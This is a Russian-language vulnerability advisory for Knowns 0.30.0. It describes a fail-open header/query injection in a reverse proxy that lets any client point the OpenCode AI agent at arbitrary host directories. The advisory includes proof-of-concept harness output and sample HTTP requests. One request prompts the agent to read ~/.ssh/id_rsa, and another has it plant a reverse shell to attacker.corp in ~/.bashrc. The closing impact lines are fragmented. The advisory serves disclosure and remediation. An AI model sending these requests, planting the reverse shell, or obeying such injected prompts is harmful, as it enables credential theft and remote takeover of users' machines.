
Knowns 0.30.0: неаутентифицированная инъекция заголовков предоставляет AI-агенту неограниченный доступ к файловой системе хоста
Была заявлена уязвимость неправильной авторизации и подмены заголовков в обратном прокси Knowns для встроенного демона OpenCode AI-агента (internal/server/server.go). В отчёте утверждалось, что при проксировании HTTP-запросов к локальному демону OpenCode прокси не выполнял безусловную перезапись заголовка запроса x-opencode-directory и параметра запроса ?directory. Клиент, явно задавший любое из этих значений, мог направить OpenCode AI-агента на работу с произвольным каталогом в файловой системе хоста вместо корня проекта.
Поскольку proxyOpenCode() в строках 1283-1296, как утверждалось, внедрял activeRoot только тогда, когда входящий запрос оставлял эти поля пустыми, любое непустое значение, предоставленное клиентом, передавалось без изменений в бэкенд OpenCode. Демон OpenCode читает x-opencode-directory для инициализации своего дерева файлов, интерфейса git и среды выполнения терминала. Злоумышленник, имеющий доступ к HTTP-порту Knowns, мог, таким образом, дать указание автономному AI-агенту — с полным доступом к инструментам — читать, записывать и выполнять действия в любом каталоге хоста, включая системные каталоги и хранилища учётных данных.
Поверхность атаки доступна по сети. Knowns предоставляет свой HTTP API и конечную точку MCP внешним клиентам — та же экспозиция, что подтверждена в предшествующем advisory GHSA-w323-3wpx-f7g5 (MCP Permission Guard Bypass), который разделяет эту поверхность атаки. Любой HTTP-клиент, способный достичь сервера Knowns, мог внедрить заголовок без учётных данных сверх того, что принимает обычный API.
Заявленная логика защиты прокси использует условное выражение с отказом в открытом состоянии (fail-open): оно срабатывает только тогда, когда заголовок или параметр отсутствует. Правильный шаблон — отказ в закрытом состоянии (fail-closed): всегда перезаписывать эти значения на activeRoot независимо от того, что отправил клиент. Различие составляет одну строку — if == "" против безусловного Set.
Был разработан и проверен полностью автоматизированный детерминированный стенд верификации: bug_reports/poc_report_03.py.
Запустите самодостаточный набор верификации с помощью Python 3:
python CVE-2026-88899.py
Вывод верификации:
======================================================================
Knowns OpenCode Reverse Proxy - PoC Exploit & Verification Harness
Target: proxyOpenCode() Fail-Open Header/Parameter Injection
======================================================================
[+] Mock OpenCode Daemon listening on port 49162
[+] Knowns Proxy listening on port 49163
[*] Canonical Active Project Root: /workspace/knowns-project
----------------------------------------------------------------------
[Test 1] Baseline Normal Request (No Injected Headers):
Request: GET /api/opencode/session
Daemon received header: /workspace/knowns-project
Daemon received query: /workspace/knowns-project
Effective Directory: /workspace/knowns-project
=> Result: PASSED (Canonical activeRoot properly injected when header is absent)
[Test 2] Exploit Vector A: Client Injects 'x-opencode-directory: /home/victim/.ssh':
Attacker Sent Header: x-opencode-directory: /home/victim/.ssh
Daemon Received Header: /home/victim/.ssh
Effective Directory: /home/victim/.ssh
Sandbox Escaped: True
=> Result: [!] VULNERABILITY CONFIRMED! Host directory /home/victim/.ssh hijacked!
[Test 3] Exploit Vector B: Client Injects '?directory=/etc' on GET /session:
Attacker Injected Query: ?directory=/etc
Daemon Received Query: /etc
Effective Directory: /etc
Sandbox Escaped: True
=> Result: [!] VULNERABILITY CONFIRMED! Host directory /etc hijacked!
[Test 4] Exploit Vector C: Client Injects '?directory=/etc' on POST /session:
Attacker Injected Query: ?directory=/etc on POST
Daemon Received Query: /etc
Effective Directory: /etc
=> Result: [!] VULNERABILITY CONFIRMED! Guard was only scoped to GET /session!
[Test 5] Remediation Verification (Fail-Closed Enforcement):
Attacker Sent Header: /home/victim/.ssh
Attacker Sent Query: /etc
Daemon Received Header: /workspace/knowns-project
Daemon Received Query: /workspace/knowns-project
Effective Directory: /workspace/knowns-project
Sandbox Escaped: False
=> Result: [+] REMEDIATION VERIFIED! Header and query parameters unconditionally sanitized.
======================================================================
ALL TESTS PASSED: Fail-open exploit vectors and remediation proven deterministically.
======================================================================
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim/.ssh
{
"title": "System Diagnostic",
"prompt": "Read the contents of id_rsa and print them verbatim."
}
Влияние выполнения:
x-opencode-directory: /home/victim/.ssh./home/victim/.ssh.id_rsa и возвращает приватный ключ в потоке JSON-ответа.POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim
{
"title": "Environment Setup",
"prompt": "Append 'bash -i >& /dev/tcp/attacker.corp/4444 0>&1' to ~/.bashrc"
}
Влияние выполнения:
/home/victim..bashrc.GET /api/opencode/session?directory=/home/victim/confidential-project HTTP/1.1
Host: 127.0.0.1:4141
Влияние выполнения:
OpenCode возвращает метаданные сессии, предыдущие запросы и фрагменты проприетарного исходного кода, связанные с confidential-project.
~/.ssh/id_rsa), облачные учётные данные (~/.aws/credentials, ~/.config/gcloud/), API-ключи, строки подключения к базам данных и файлы .env.~/.bashrc, ~/.zshrc), запланированные задания (/etc/cron.d/), git-хуки (.git/hooks/pre-commit) и конфигурацию приложений.